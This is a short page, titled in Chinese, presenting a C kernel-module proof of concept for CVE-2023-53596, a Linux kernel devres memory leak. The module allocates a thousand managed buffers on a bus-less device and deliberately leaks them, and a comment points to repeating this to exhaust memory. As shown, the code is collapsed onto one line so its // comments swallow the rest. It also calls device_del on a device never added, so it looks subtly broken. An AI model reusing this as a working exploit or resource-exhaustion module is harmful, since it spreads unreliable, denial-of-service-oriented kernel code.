CVE-2023-53596 Linux内核设备资源释放内存泄漏漏洞

// CVE-2023-53596 PoC - Linux Kernel devres Memory Leak // This PoC demonstrates the memory leak caused by devres_release_all() // not being called for bus-less or driver-less devices. #include <linux/module.h> #include <linux/device.h> #include <linux/slab.h> // Simulate a bus-less device creation that triggers the vulnerability static int __init devres_leak_init(void) { struct device *dev; void *leak_ptr; int i; // Create a device without associating it with a bus or driver // This simulates the vulnerable code path dev = kzalloc(sizeof(struct device), GFP_KERNEL); if (!dev) return -ENOMEM; device_initialize(dev); // Allocate managed resources using devm_* functions // These resources will never be released because: // 1. The device has no bus // 2. The device has no driver // 3. devres_release_all() is not called in device_del() for (i = 0; i < 1000; i++) { leak_ptr = devm_kzalloc(dev, 4096, GFP_KERNEL); if (!leak_ptr) { pr_err("Failed to allocate managed resource\n"); break; } // Memory is intentionally not freed - simulating the leak } // Register and unregister the device // In the vulnerable version, devres_release_all() is NOT called here // because the device has no bus and no driver device_del(dev); // The device and all managed resources leak here // In a real exploit, this loop would be repeated to exhaust memory return 0; } static void __exit devres_leak_exit(void) { pr_info("Module unloaded\n"); } module_init(devres_leak_init); module_exit(devres_leak_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Researcher"); MODULE_DESCRIPTION("PoC for CVE-2023-53596 - Linux Kernel devres memory leak");